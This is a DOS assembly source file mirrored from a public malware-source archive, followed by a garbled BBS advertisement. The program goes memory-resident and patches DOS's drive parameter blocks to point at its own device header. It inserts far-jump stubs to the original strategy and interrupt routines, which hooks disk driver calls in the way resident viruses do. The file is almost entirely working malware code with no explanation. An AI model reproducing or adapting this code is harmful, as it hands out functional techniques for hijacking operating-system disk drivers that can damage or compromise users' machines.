mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
76 lines
1.6 KiB
NASM
76 lines
1.6 KiB
NASM
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code segment public 'code'
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assume cs:code, ds:code, es:code
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org 100h
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Main: mov ah,30h ; fn 30h = Get Dosversion
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int 21h ; int 21h
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cmp al,4 ; major dosversion
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sbb si,si
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mov ah,52h ; get internal list of lists
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int 21h ; int 21h
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lds bx,es:[bx] ; get pointer to first drive
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; paramenter block
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Search: mov ax,ds:[bx+si+15h] ; get segment of device header
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cmp ax,70h ; dos device header ??
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jne Next ; no, go to next device
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cmp byte ptr ds:[bx],0
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je Next
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xchg ax,cx
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mov di,ds:[bx+si+13h] ; get offset of device header
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mov word ptr ds:[bx+si+13h],offset Header
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mov ds:[bx+si+15h],cs ; set addres of new device
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Next: lds bx,ds:[bx+si+19h] ; next drive parameter block
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cmp bx,-1 ; last block ?
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jne Search ; no, go to Search
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jcxz Error
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mov ds,cx
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mov si,di
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push cs
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pop es
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mov di,offset Header
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cld
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movsw
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movsw
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movsw
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mov ax,offset Strategy
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stosw
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mov ax,offset Interrupt
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stosw
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push di
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mov di,offset Strategy
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mov al,0eah
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stosb
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movsw
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mov ax,cx
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stosw
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mov di,offset Interrupt
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mov al,0eah
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stosb
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movsw
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mov ax,cx
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stosw
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pop di
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movsw
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mov ax,3100h
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mov dx,20h
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int 21h
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Error: mov ax,4c01h
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int 21h
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Header db 12 dup(?)
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Interrupt db 5 dup(?)
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Strategy db 5 dup(?)
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code ends
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end Main
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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